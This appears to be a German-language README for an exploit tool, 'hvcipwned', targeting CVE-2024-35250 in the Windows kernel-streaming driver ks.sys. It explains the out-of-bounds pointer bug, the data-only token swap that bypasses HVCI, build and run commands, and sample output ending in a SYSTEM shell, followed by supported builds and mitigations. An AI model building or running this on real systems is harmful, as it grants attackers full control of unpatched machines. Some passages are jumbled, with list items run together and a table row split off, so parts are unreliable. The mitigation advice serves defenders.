
CVE-2024-35250 zeigt, dass HVCI keine Verteidigung gegen reine Daten-Kernel-Exploits darstellt. Solange ein Treiberfehler ein beliebiges R/W-Primitiv bereitstellt, bleibt Token-Swap eine universelle SYSTEM-Erhöhungstechnik — ohne dass Codeausführung erforderlich ist.
Lokale Rechteausweitung durch Dereferenzierung eines nicht vertrauenswürdigen Zeigers im Windows-Kernel-Streaming-Treiber (ks.sys). Reiner Daten-Exploit — umgeht die Hypervisor-geschützte Code-Integrität (HVCI).
| Feld | Detail |
|---|---|
| CVE | CVE-2024-35250 |
| Komponente | ks.sys (Kernel-Streaming) |
| Fehlerklasse | Dereferenzierung eines nicht vertrauenswürdigen Zeigers |
| Auswirkung | EoP auf NT AUTHORITY\SYSTEM |
| HVCI | Umgangen — keine Codeausführung im Kernel |
| Patch | KB5039212 (Juni 2024) |
| Zielplattformen | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler leitet Eigenschaftsanfragen auf Topologieebene über KspProcessPropertyNode weiter. Das Feld NodeId der vom Benutzer bereitgestellten KSP_NODE-Struktur wird ohne Grenzprüfung als Index in ein Array der internen Automatisierungstabelle verwendet:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- attacker-controlled
Eine manipulierte NodeId, die die tatsächliche Knotenanzahl überschreitet, lenkt die Dereferenzierung auf benachbarten Pool-Speicher um und erzeugt so eine Out-of-Bounds-Lese-/Schreib-Primitive.
Der Exploit manipuliert ausschließlich Kernel-Datenstrukturen:
EPROCESS-Adresse über NtQuerySystemInformationActiveProcessLinks, um PID 4 (System) zu lokalisierenEs wird kein Shellcode injiziert. Es werden keine unsignierten Codepages erstellt oder ausgeführt. Es werden keine Control-Flow-Zeiger übernommen.
| Schutz | Status |
|---|---|
| HVCI / KMCI | Umgangen |
| SMEP | Nicht ausgelöst |
| SMAP | Nicht ausgelöst |
| kCFG | Nicht ausgelöst |
hvcipwned.sln in Visual StudioCtrl+Shift+B)Ausgabedatei: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
Führen Sie das Programm in einer Benutzersitzung ohne Privilegien auf einem verwundbaren (ungepatchten) System aus. Bei Erfolg öffnet sich ein neues cmd.exe-Fenster, das als NT AUTHORITY\SYSTEM ausgeführt wird.
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - types, log macros, nt api typedefs
├── offsets.h - per-build eprocess field offsets
├── device.h - ks device enumeration
├── leak.h - kernel address leaks
├── krw.h - r/w primitive context
├── token.h - token swap + shell spawn
└── exploit.h - top-level entry
├── main.c - entry point
├── device.c - setupapi device open
├── leak.c - NtQuerySystemInformation leaks
├── krw.c - vulnerability trigger + pool spray + r/w
├── token.c - eprocess walk + token overwrite
└── exploit.c - orchestration
Offsets werden zur Laufzeit automatisch über RtlGetVersion aufgelöst.
Dieses Projekt dient ausschließlich autorisierten Sicherheitsforschungs- und Bildungszwecken. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung. Der Autor übernimmt keinerlei Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
| CET / Shadow Stack | Nicht ausgelöst |
| Betriebssystem | Build | Status |
|---|
| Windows 10 20H1 | 19041 | Unterstützt |
| Windows 10 20H2 | 19042 | Unterstützt |
| Windows 10 21H1 | 19043 | Unterstützt |
| Windows 10 21H2 | 19044 | Unterstützt |
| Windows 10 22H2 | 19045 | Unterstützt |
| Windows 11 21H2 | 22000 | Unterstützt |
| Windows 11 22H2 | 22621 | Unterstützt |
| Windows 11 23H2 | 22631 | Unterstützt |
| Maßnahme | Detail |
|---|
| Patch | Installieren Sie KB5039212 (Juni 2024) oder neuer |
| Erkennung | Überwachen Sie IOCTL_KS_PROPERTY mit dem Flag KSPROPERTY_TYPE_TOPOLOGY |
| EDR | Warnen Sie bei Token-Integritätsänderungen über EtwTi-Kernel-Callbacks |
| Härtung | Beschränken Sie den Benutzerzugriff auf KS-Geräteschnittstellen über DACL |